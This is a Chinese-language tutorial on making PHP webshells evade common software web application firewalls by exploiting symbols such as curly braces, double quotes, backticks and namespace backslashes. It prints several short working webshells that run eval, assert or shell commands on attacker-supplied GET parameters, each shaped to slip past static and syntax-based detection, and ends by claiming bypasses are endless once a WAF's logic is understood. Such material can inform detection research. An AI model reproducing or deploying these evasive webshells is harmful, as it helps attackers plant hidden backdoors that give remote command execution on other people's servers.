webshell免殺中符號的妙用
前言提到webshell免殺,方法無外乎對靜態特征的變形,編碼,或利用語言特性繞過。計算機中有很多符號,它們在編程語言中占據一席之地,這些符號作為運算符號,標識符號或起到特殊含義。本文以PHP為例介紹一些利用符號免殺方法。
免殺WAF檢測
通過對安全狗、護衛神、D盾等常見軟WAF的測試,發現WAF查殺主要依賴兩種檢測方法1.靜態檢測:通過匹配特征來查找webshell。如危險函數,文件特征碼等。2.語法語義檢測:通過對語法語義的分析,通過對代碼抽絲剝繭實現對危險函數捕捉,例如: 危險函數(可控參數)
括號
圓括號: 在編程中,主要用在表達式、函數參數、指針定義等方面
方括號:一般用于定義數組
花括號: 定義變量處理,字符串變量后面有{ }相當于數組、規定作用域
在變量間接引用中進行定界,避免歧義。例如 ${$my_var[8]}與${$my_var}[8]的區分
${xxx} 括起來的要當成變量處理。
$a{4} 和中括號[]一樣都是把某個字符串變量當成數組處理
利用花括號的特性,在雙引號對聲明變量,并利用圓括號干擾waf對語法的檢測
<?php$_=$_GET['pass'];$white = "(${eval($_)})";
引號
單引號:被單引號包裹的特殊字符將無意義,內容將作為字符串。
雙引號:與單引號類似,但被包裹中的特殊符號將會解析,例如 $ 符號
反引號:執行運算符,在多數語言中可進行執行命令。php中(執行運算符)與shell_exec函數等同
在php語言的特性中,雙引號內的變量會被解析。這時$b的值為 assert,可利用php的此特性進行拼接字符或是繞過語法。
$a="s"."e"."r";$b="as$a".'t';
利用執行運算符執行命令,避免了檢測危險函數實現免殺。
function fun($p){ echo `$p`; }$a=$_GET['x'];fun($a);
斜線
反斜線:反斜線一般是起到轉義字符作用。例如
\" 雙引號 " \\ 反斜線 \ \n 換行 \r 送出 \t 跳位(TAB) \\$ 表示 $
反斜線 在php中還有一種用法,就是命名空間函數前加“\”反斜線調用命名空間下的函數,如果單獨使用,就是調用根命名空間
利用用命名空間干擾函數的特征,\n來干擾對語法的檢測
<?php$a = $_GET['a'];$b = "\n";\assert($b.=$a);?>
引申
那么是否還有其它符號可以免殺?下面以php為例再介紹幾種符號:
^ :(xor)異或運算符 ~ :(not)取反運算符 ++ :遞增運算符 -- :遞減運算符
總結上文簡單介紹了一些符號在免殺中的用法,只要摸透了WAF的脾氣(查殺原理),繞過的方法也就層出不窮。